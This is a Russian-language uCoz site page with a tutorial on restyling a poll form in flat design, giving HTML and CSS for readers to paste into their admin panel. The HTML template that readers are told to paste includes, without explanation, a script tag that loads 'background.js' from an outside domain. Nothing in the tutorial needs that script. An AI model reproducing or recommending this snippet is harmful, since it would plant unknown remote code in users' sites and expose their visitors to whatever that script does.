Реклама №1
Рекламное место свободно Обращайтесь к Админ
Статистика
Статистика:
Всего: 593 Новых за месяц: 0 Новых за неделю: 0 Новых вчера: 0 Новых сегодня: 0 Из них Гл.Администраторов: 1 Администраторов: 0 Гл.Модераторов: 0 Модераторов: 4 Гл.Дизайнеров: 0 Дизайнеров: 1 Файловиков: 0 Проверенных: 1 Постоянных: 0 V.I.P Персон: 1 Друзья сайта: 0 Обычных юзеров: 585 Заблокированные: 0 Из них Парней: 549 Девушек: 43
Счетчик:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Юзеры онлайн:
Нас посетили:
Главная » 2013 » Июнь » 29 » Вид опроса для uCoz, в стиле flat
20:46
Вид опроса для uCoz, в стиле flat
Всем привет, давно я не уделял времени на улучшение внешнего вида формы опроса для uCoz, согласитесь надо бы исправить, а так как сейчас на просторах web дизайна популярен стиль flat, я подумал дайка я создам форму опросов именно в этом стиле.. Для начала как и пололаеться, нам следует установить html каркас данного улучьшения для формы опроса, для этого заходим в Админ панель => Опросы => Управление дизайном модуля удаляем старый html код и устанавливаем новый: Код
<div class="cell-poll"> <div class="cell-poll-title">$QUESTION$</div> <div class="cell-poll-answers">$ANSWERS$</div> <div class="cell-poll-link"> <span>Ответов: <strong>$TOTAL_VOTES$</strong></span> <a href="$RESULTS_LINK$" >Результаты </a> <b> | </b> <a href="$ARCHIVE_LINK$">Архив </a> </div> </div><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript"> var color_poll = ["#5D9AD3","#E96465","#F6954E","#dd8cd2 ","#75D0ED ","#5BC254","#CFC72D","#DD3344","#FE9B6F","#4176B3","#8CC84B","#DD8CD2","#e9eb5b","#E96465","#75D0ED"]; $('.answer div div').each(function(i){ if(!color_poll[i]){color_poll[i] = '#F8F8F8';} $(this).css({background:color_poll[i++]}); }); </script>
Теперь нам осталось прописать css стили: Код
/* Вид опроса для uCoz, в стили flat ------------------------------------------*/ .cell-poll{ float:left; width:230px; color:#666; background: #fff; padding: 10px 10px 10px 10px; border: 1px solid #B6C0CD; border-radius:5px; } .cell-poll-title{ float:left; width:100%; padding-bottom: 10px; border-bottom: 1px solid #B6C0CD; font:12px Verdana,Arial,Helvetica, sans-serif; font-weight:bold; text-align:center; color:#666; } .cell-poll a {text-decoration:none; outline:none} .cell-poll-answers{ float:left; width:100%; margin: 10px 0px 10px 0px; text-align:left; } .answer{ float:left; width:100%; color:#f8f8f8; position:relative; height:20px!important; padding: 2px 0px 2px 0px; margin: 0px 0px 7px 0px; background: #f8f8f8; } .answer input{margin: 3px 5px 2px 5px;} .answer label {margin: 2px 0px 2px 0px; color:#555;} .answer div{ height:20px!important; padding: 2px 0px 2px 0px; position:absolute; z-index:998; top:0px; left:0px; width:100%; } .answer span{ float:right; height:14px!important; margin-right: 2px; padding: 2px 5px 2px 5px; color:#666; position:relative; top:1px; left:0px; z-index:999; background: #fff; } .pollBut{ cursor:pointer; border:none!important; margin-top:10px; background: #64b0db!important; padding: 5px 20px 5px 20px!important; font:11px Verdana,Arial,Helvetica, sans-serif!important; font-weight: bold!important; color:#fff!important; } .pollBut:active {box-shadow:inset 0px 0px 3px #166693!important;} .pollBut:hover {background:#51a4d2!important;} .cell-poll-link{ float:left; width:100%; padding-top: 10px; border-top: 1px solid #B6C0CD; font:9px Verdana,Arial,Helvetica, sans-serif; color:#999; } .cell-poll-link span{float:left;} .cell-poll-link b, .cell-poll-link a {float:right;} .cell-poll-link b {color:#B6C0CD;}
Вот и всё, наш вид опроса для системы uCoz в стиле flat готова. На этом всё спасибо за внимание!
Просмотров: 367 |
Добавил: DoG
| Рейтинг: 0.0 /0
Рай для анимешника
AnimeLend.Info - сайт для фанатов аниме, у нас собранно все видео аниме онлайн. В нашей базе есть русская озвучка и субтитры, старые издания и новинки, множество жанров и категорий, тут настоящий рай для анимешника.
Мини профиль
Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
Друзья сайта
AnimeLend.info
ПОЛУЧИ ДЕНЬГИ НА КОШЕЛЁК
Место свободно
Место свободно
Топ фаловиков
casper Респект: 45Постов: 444 Файлов: 226
tema Респект: 6Постов: 1 Файлов: 26
danbdan Респект: 18Постов: 0 Файлов: 5